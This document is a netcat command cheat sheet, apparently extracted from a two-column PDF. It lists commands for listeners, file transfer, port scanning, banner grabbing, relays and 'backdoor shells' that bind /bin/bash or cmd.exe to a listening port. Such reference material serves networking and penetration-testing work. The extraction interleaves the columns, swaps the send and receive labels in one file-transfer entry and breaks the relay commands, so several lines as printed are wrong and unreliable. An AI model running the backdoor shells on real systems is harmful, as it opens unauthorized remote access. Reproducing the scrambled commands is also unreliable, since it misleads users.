NETCAT COMMAND
CHEAT SHEET
Netcat Fundamentals Netcat Command Flags
nc [options] [host] [port] nc -4 – Use IPv4 only
By default this will execute a port scan
nc -6 – Use IPv6
nc -l [host] [port]
Initiates a listener on the given port nc -u – Use UDP instead of TCP
nc -k -l – Continue listening after disconnection
Netcat File Transfer nc -n – Skip DNS lookups
nc [host] [port] > file_name.out nc -v – Provide verbose output
Send a file
nc [host] [port] > file_name.in
Receive a file Netcat Port Scanner
nc -zv site.com 80
Netcat Backdoor Shells Scan a single port
nc -l -p [port] -e /bin/bash nc -zv hostname.com 80 84
Run a shell on Linux Scan a set of individual ports
nc -l -p [port] -e cmd.exe nc -zv site.com 80-84
Run a shell on Netcat for Windows Scan a range of ports
Netcat Relays on Windows Netcat File Transfer
nc [host] [port] > relay.bat nc [host] [port] > file_name.out
Open a relay connection Send a file
nc -l -p [port] -e relay.bat nc [host] [port] < file_name.in
Connect to relay Receive a file
Netcat Relays on Linux Netcat Banners
nc -l -p [port] 0 < backpipe | nc [client IP] echo "" | nc -zv -wl [host] [port range]
[port] | tee backpipe Obtain the TCP banners for a range of ports